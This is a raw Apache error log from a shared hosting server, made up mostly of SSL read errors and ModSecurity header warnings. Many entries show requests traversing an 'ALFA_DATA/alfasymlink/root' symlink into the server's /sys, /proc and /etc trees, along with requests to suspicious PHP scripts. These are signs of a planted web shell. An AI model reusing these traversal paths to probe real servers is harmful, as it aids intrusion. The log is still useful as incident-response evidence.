[Tue Oct 27 08:35:40.053504 2026] [ssl:error] [pid 3220898:tid 3220898] (5)Input/output error: [client 52.3.156.186:17880] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:35:48.000971 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 100.25.120.246:17850] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:35:55.784736 2026] [core:error] [pid 3233595:tid 3233595] (13)Permission denied: [client 18.235.81.246:35763] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/device:06/physical_node/virtio2/subsystem/drivers/virtio_balloon/virtio2/driver/module/uevent
[Tue Oct 27 08:35:59.949189 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 3.90.73.206:31775] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:36:07.736039 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 18.205.213.231:13565] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:36:20.839287 2026] [ssl:error] [pid 3233595:tid 3233595] (70014)End of file found: [client 23.21.228.180:8003] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:36:23.819543 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 50.19.221.48:47149] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:36:27.786231 2026] [core:error] [pid 3220898:tid 3220898] (13)Permission denied: [client 54.156.248.117:48969] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory12/node0/cpu1/node0/cpu1/subsystem/uevent
[Tue Oct 27 08:36:31.729972 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 35.169.119.108:2375] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:36:39.964465 2026] [core:error] [pid 3233619:tid 3233619] (13)Permission denied: [client 3.94.40.182:46116] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/class/pci_bus/0000:00/device/firmware_node/device:05/subsystem/devices/LNXSYBUS:00/PNP0A03:00/device:0d/subsystem/devices/device:03/physical_node/driver/0000:00:02.0/resource0
[Tue Oct 27 08:36:59.942234 2026] [ssl:error] [pid 3233595:tid 3233595] (70014)End of file found: [client 3.232.102.111:59541] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:37:03.706760 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 3.213.106.226:23156] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:37:05.058602 2026] [security2:error] [pid 3233619:tid 3233619] [client 43.153.35.128:55468] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/wapisimox2.php"] [unique_id "auCa8etJ0j7wSTDVgONxBwAAABg"]
[Tue Oct 27 08:37:07.929275 2026] [ssl:error] [pid 3233597:tid 3233597] (70014)End of file found: [client 54.83.23.103:32871] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:37:16.009692 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 3.89.176.255:9616] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:37:27.796300 2026] [ssl:error] [pid 3233595:tid 3233595] (70014)End of file found: [client 100.29.34.97:59026] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:37:31.936039 2026] [core:error] [pid 3230467:tid 3230467] (13)Permission denied: [client 52.203.237.170:41976] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/thread-self/cwd/proc/self/root/sys/class/pci_bus/0000:00/device/firmware_node/subsystem/devices/LNXSYSTM:00/LNXSYBUS:00/PNP0A03:00/device:06/physical_node/driver/module/uevent
[Tue Oct 27 08:37:39.917886 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 98.83.177.42:46071] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:37:43.148468 2026] [authz_core:error] [pid 3219292:tid 3219292] [client 143.110.210.1:34436] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 08:37:43.683009 2026] [core:error] [pid 3227580:tid 3227580] (13)Permission denied: [client 23.21.228.180:12482] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:04/subsystem/devices/device:01/PNP0501:01/subsystem/drivers/hardware_error_device/unbind
[Tue Oct 27 08:37:51.539859 2026] [ssl:error] [pid 3233596:tid 3233596] (70014)End of file found: [client 3.221.244.28:38831] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:37:55.549309 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 34.194.95.99:22847] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:38:02.513692 2026] [core:error] [pid 3220898:tid 3220898] (13)Permission denied: [client 85.208.96.207:26232] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ftrace_event_field/sanity_checks
[Tue Oct 27 08:38:07.748360 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 54.147.238.89:38691] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:38:11.606359 2026] [ssl:error] [pid 3233597:tid 3233597] (70014)End of file found: [client 23.23.137.202:59714] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:38:15.689864 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 54.221.203.24:45211] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:38:23.618892 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 3.215.59.93:6388] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:38:27.372615 2026] [core:error] [pid 3233595:tid 3233595] (13)Permission denied: [client 54.147.238.89:11989] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/device:04/physical_node/resource1
[Tue Oct 27 08:38:43.292294 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 44.215.61.66:4274] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:38:55.287733 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 52.2.191.202:47633] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:39:03.303599 2026] [ssl:error] [pid 3233595:tid 3233595] (70014)End of file found: [client 54.156.124.2:29188] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:39:07.206227 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 44.215.235.20:62903] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:39:19.277841 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 52.205.113.104:22644] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:39:35.306786 2026] [core:error] [pid 3233597:tid 3233597] (13)Permission denied: [client 54.156.248.117:20688] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory20/subsystem/devices/memory4/node0/cpu0/crash_notes
[Tue Oct 27 08:39:39.198265 2026] [ssl:error] [pid 3233612:tid 3233612] (5)Input/output error: [client 44.205.180.155:27491] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:39:46.860689 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 185.191.171.13:29858] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:40:06.926285 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 18.214.238.178:20001] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:40:10.769576 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 3.216.227.216:31119] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:40:11.071547 2026] [core:error] [pid 3209603:tid 3209603] (13)Permission denied: [client 85.208.96.202:51200] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/ip_mrt_cache/objs_per_slab
[Tue Oct 27 08:40:26.671165 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 98.83.10.183:53577] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:40:30.666672 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 44.209.187.99:40917] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:40:36.867638 2026] [core:error] [pid 3220898:tid 3220898] (13)Permission denied: [client 16.216.88.182:8192] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/etc/trustedmailhosts
[Tue Oct 27 08:40:38.829800 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 98.82.40.168:65087] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:40:50.465791 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 44.223.232.55:48086] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:40:56.047309 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 185.191.171.4:52454] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/shared_policy_node/sanity_checks
[Tue Oct 27 08:40:58.470622 2026] [ssl:error] [pid 3220898:tid 3220898] (70014)End of file found: [client 98.82.38.120:24591] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:41:02.362791 2026] [ssl:error] [pid 3233595:tid 3233595] (70014)End of file found: [client 52.204.253.129:51442] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:41:06.349937 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 54.87.62.248:24644] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:41:14.275864 2026] [ssl:error] [pid 3233596:tid 3233596] (5)Input/output error: [client 44.210.204.255:8467] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:41:22.329058 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 54.225.199.17:56712] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:41:26.341596 2026] [core:error] [pid 3227580:tid 3227580] (13)Permission denied: [client 3.214.176.44:45490] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/bus/cpu/drivers/processor/cpu1/node0/memory1/node0/cpu0/firmware_node/subsystem/devices/PNP0A03:00/device:1c/eject
[Tue Oct 27 08:41:42.237615 2026] [ssl:error] [pid 3233596:tid 3233596] (70014)End of file found: [client 52.71.46.142:49038] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:41:48.043388 2026] [security2:error] [pid 3233619:tid 3233619] [client 185.191.171.18:65298] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/locale/rw/LC_MESSAGES/"] [unique_id "auCcC-tJ0j7wSTDVgONxDQAAABg"]
[Tue Oct 27 08:41:48.043434 2026] [security2:error] [pid 3233619:tid 3233619] [client 185.191.171.18:65298] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/usr/share/locale/rw/LC_MESSAGES/"] [unique_id "auCcC-tJ0j7wSTDVgONxDQAAABg"]
[Tue Oct 27 08:41:54.244955 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 34.231.45.47:20715] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:42:06.315100 2026] [ssl:error] [pid 3233597:tid 3233597] (70014)End of file found: [client 3.213.46.222:9900] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:42:13.956901 2026] [security2:error] [pid 3233619:tid 3233619] [client 189.217.222.27:47148] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/col2"] [unique_id "auCcJetJ0j7wSTDVgONxDgAAABg"], referer: https://sherwinpinturas.com/col2
[Tue Oct 27 08:42:14.181279 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 54.152.163.42:44333] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:42:15.242999 2026] [security2:error] [pid 3219292:tid 3219292] [client 103.234.12.2:52616] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/col2/"] [unique_id "auCcJ2_oZ855J3-bmxEqvQAAAAY"], referer: https://sherwinpinturas.com/col2
[Tue Oct 27 08:42:15.256846 2026] [authz_core:error] [pid 3219292:tid 3219292] [client 103.234.12.2:52616] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/col2/php.ini, referer: https://sherwinpinturas.com/col2
[Tue Oct 27 08:42:22.289864 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 44.223.115.10:62137] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:42:26.206713 2026] [core:error] [pid 3233596:tid 3233596] (13)Permission denied: [client 44.221.180.179:5109] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory22/node0/memory10/node0/cpu1/firmware_node/physical_node/firmware_node/subsystem/drivers/battery/unbind
[Tue Oct 27 08:42:30.236631 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 54.156.55.147:55645] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:42:34.175746 2026] [core:error] [pid 3233619:tid 3233619] (13)Permission denied: [client 18.207.79.144:21737] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/system/memory/memory20/node0/memory14/node0/memory3/subsystem/uevent
[Tue Oct 27 08:42:38.179561 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 54.91.122.193:18376] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:42:42.205023 2026] [core:error] [pid 3219292:tid 3219292] (13)Permission denied: [client 35.173.38.202:37923] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/devices/pci0000:00/0000:00:01.0/firmware_node/physical_node/subsystem/slots/9/module/uevent
[Tue Oct 27 08:42:54.266624 2026] [ssl:error] [pid 3233596:tid 3233596] (70014)End of file found: [client 23.21.119.232:37723] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:42:58.656037 2026] [authz_core:error] [pid 3233619:tid 3233619] [client 45.198.224.125:52998] AH01630: client denied by server configuration: /home/cursodeventas/public_html/php.ini
[Tue Oct 27 08:43:06.381713 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 3.223.134.5:5187] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:43:10.509342 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 3.208.146.193:45828] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:43:26.264480 2026] [ssl:error] [pid 3233597:tid 3233597] (70014)End of file found: [client 52.45.92.83:10497] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:43:42.217465 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 52.1.106.130:10947] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:43:46.336663 2026] [ssl:error] [pid 3233595:tid 3233595] (70014)End of file found: [client 35.153.86.200:19864] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:43:50.236837 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 184.73.47.24:40719] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:43:50.237014 2026] [security2:error] [pid 3230467:tid 3230467] [client 184.73.47.24:40719] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/QEMU0002:00/power/control"] [unique_id "auCchg0kN5bHfPWi5uxz4QAAAAU"]
[Tue Oct 27 08:43:50.237044 2026] [security2:error] [pid 3230467:tid 3230467] [client 184.73.47.24:40719] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/class/input/mice/subsystem/input0/device/subsystem/devices/PNP0A03:00/physical_node/pci_bus/0000:00/device/QEMU0002:00/power/control"] [unique_id "auCchg0kN5bHfPWi5uxz4QAAAAU"]
[Tue Oct 27 08:43:55.444549 2026] [security2:error] [pid 3233612:tid 3233612] [client 43.130.141.193:47534] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "162.216.113.238"] [uri "/"] [unique_id "auCci1M_FuE1vMFqaX9gTgAAABE"]
[Tue Oct 27 08:44:14.345229 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 52.71.216.196:14686] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:44:22.252809 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 34.205.170.13:20376] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:44:26.280958 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 54.92.171.106:43786] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:44:34.196641 2026] [core:error] [pid 3233595:tid 3233595] (13)Permission denied: [client 100.24.167.60:26565] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:00/thermal_cooling/device/physical_node/node0/memory10/node0/cpu0/crash_notes
[Tue Oct 27 08:44:34.197127 2026] [security2:error] [pid 3233595:tid 3233595] [client 100.24.167.60:26565] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:00/thermal_cooling/device/physical_node/node0/memory10/node0/cpu0/crash_notes"] [unique_id "auCcsrmZ7VoTwYSWFNMQ8AAAAAQ"]
[Tue Oct 27 08:44:34.197161 2026] [security2:error] [pid 3233595:tid 3233595] [client 100.24.167.60:26565] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/devices/pci0000:00/firmware_node/device:0b/subsystem/devices/LNXSYBUS:00/ACPI0010:00/LNXCPU:00/thermal_cooling/device/physical_node/node0/memory10/node0/cpu0/crash_notes"] [unique_id "auCcsrmZ7VoTwYSWFNMQ8AAAAAQ"]
[Tue Oct 27 08:44:42.320476 2026] [ssl:error] [pid 3230467:tid 3230467] (70014)End of file found: [client 54.84.147.79:37062] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:44:43.615816 2026] [core:crit] [pid 3233597:tid 3233597] (13)Permission denied: [client 66.132.224.93:6674] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 08:44:44.706740 2026] [authz_core:error] [pid 3233596:tid 3233596] [client 66.132.224.93:6694] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Tue Oct 27 08:44:46.365262 2026] [core:crit] [pid 3233619:tid 3233619] (13)Permission denied: [client 66.132.224.93:6724] AH00529: /home/cursodeventas/public_html/.htaccess pcfg_openfile: unable to check htaccess file, ensure it is readable and that '/home/cursodeventas/public_html/' is executable
[Tue Oct 27 08:44:59.182788 2026] [authz_core:error] [pid 3230467:tid 3230467] [client 66.132.224.93:55990] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/miescurlax.sherwinpinturas.com/php.ini
[Tue Oct 27 08:45:04.669667 2026] [core:error] [pid 3233619:tid 3233619] (13)Permission denied: [client 185.191.171.12:65238] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/kernel/slab/avc_xperms_data/cache_dma
[Tue Oct 27 08:45:06.163997 2026] [ssl:error] [pid 3209603:tid 3209603] (70014)End of file found: [client 44.221.180.179:1256] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:45:10.190820 2026] [security2:error] [pid 3233595:tid 3233595] [client 52.207.47.227:29985] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-global": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/PNP0A06:01/subsystem/devices/PNP0303:00/physical_node1/wakeup/"] [unique_id "auCc1rmZ7VoTwYSWFNMQ8gAAAAQ"]
[Tue Oct 27 08:45:10.190860 2026] [security2:error] [pid 3233595:tid 3233595] [client 52.207.47.227:29985] ModSecurity: collections_remove_stale: Failed to access DBM file "/var/cpanel/secdatadir/sherwinpinturas-ip": Permission denied [hostname "sherwinpinturas.com"] [uri "/ALFA_DATA/alfasymlink/root/sys/class/input/input1/device/firmware_node/subsystem/devices/PNP0A06:01/subsystem/devices/PNP0303:00/physical_node1/wakeup/"] [unique_id "auCc1rmZ7VoTwYSWFNMQ8gAAAAQ"]
[Tue Oct 27 08:45:14.232684 2026] [ssl:error] [pid 3233596:tid 3233596] (70014)End of file found: [client 3.224.215.150:34011] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:45:26.179331 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 100.29.63.24:3684] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:45:42.154448 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 54.235.191.179:16809] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:45:46.235077 2026] [core:error] [pid 3220898:tid 3220898] (13)Permission denied: [client 98.83.226.125:58500] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/proc/self/cwd/sys/bus/memory/devices/memory17/node0/memory7/node0/memory18/subsystem/uevent
[Tue Oct 27 08:46:10.169776 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 98.82.107.102:30057] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:46:18.163854 2026] [core:error] [pid 3233595:tid 3233595] (13)Permission denied: [client 3.217.82.254:39181] AH00132: file permissions deny server access: /home/sherwinpinturas/public_html/ALFA_DATA/alfasymlink/root/sys/devices/system/memory/memory1/node0/cpu0/driver/cpu1/firmware_node/subsystem/devices/LNXCPU:00/physical_node/subsystem/drivers_probe
[Tue Oct 27 08:46:34.213163 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 34.196.6.199:38313] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:46:38.173612 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 52.71.203.206:30086] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:46:50.205560 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 54.90.244.132:47784] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:46:54.169532 2026] [ssl:error] [pid 3233619:tid 3233619] (70014)End of file found: [client 34.199.252.22:11403] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:47:06.213059 2026] [ssl:error] [pid 3219292:tid 3219292] (70014)End of file found: [client 52.21.62.139:19452] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:47:10.310873 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 44.221.227.90:38928] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:47:12.624858 2026] [security2:error] [pid 3233595:tid 3233595] [client 43.153.35.128:56484] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "keep-alive, close"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/scrapeproxiesok.php"] [unique_id "auCdULmZ7VoTwYSWFNMQ9gAAAAQ"]
[Tue Oct 27 08:47:18.176833 2026] [ssl:error] [pid 3233596:tid 3233596] (70014)End of file found: [client 54.84.93.8:13683] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:47:22.248446 2026] [ssl:error] [pid 3233597:tid 3233597] (70014)End of file found: [client 18.214.251.19:6567] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:47:26.170260 2026] [ssl:error] [pid 3233612:tid 3233612] (70014)End of file found: [client 98.82.38.120:1071] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:47:38.281707 2026] [ssl:error] [pid 3227580:tid 3227580] (70014)End of file found: [client 52.54.95.127:57178] AH02013: coalesce failed to read from data bucket
[Tue Oct 27 08:47:38.569163 2026] [security2:error] [pid 3219292:tid 3219292] [client 190.48.156.180:42306] ModSecurity: Warning. Pattern match "\\\\b(keep-alive|close),\\\\s?(keep-alive|close)\\\\b" at REQUEST_HEADERS:Connection. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "198"] [id "920210"] [rev "2"] [msg "Multiple/Conflicting Connection Header Data Found."] [data "close, keep-alive"] [severity "WARNING"] [ver "OWASP_CRS/3.0.0"] [maturity "6"] [accuracy "8"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "OWASP_CRS/PROTOCOL_VIOLATION/INVALID_HREQ"] [hostname "sherwinpinturas.com"] [uri "/"] [unique_id "auCdam_oZ855J3-bmxEqyQAAAAY"], referer: https://sherwinpinturas.com/col2
[Tue Oct 27 08:47:38.581476 2026] [authz_core:error] [pid 3219292:tid 3219292] [client 190.48.156.180:42306] AH01630: client denied by server configuration: /home/sherwinpinturas/public_html/error_log, referer: https://sherwinpinturas.com/col2
[Tue Oct 27 08:47:42.227662 2026] [ssl:error] [pid 3233596:tid 3233596] (70014)End of file found: [client 54.89.90.224:57474] AH02013: coalesce failed to read from data bucket
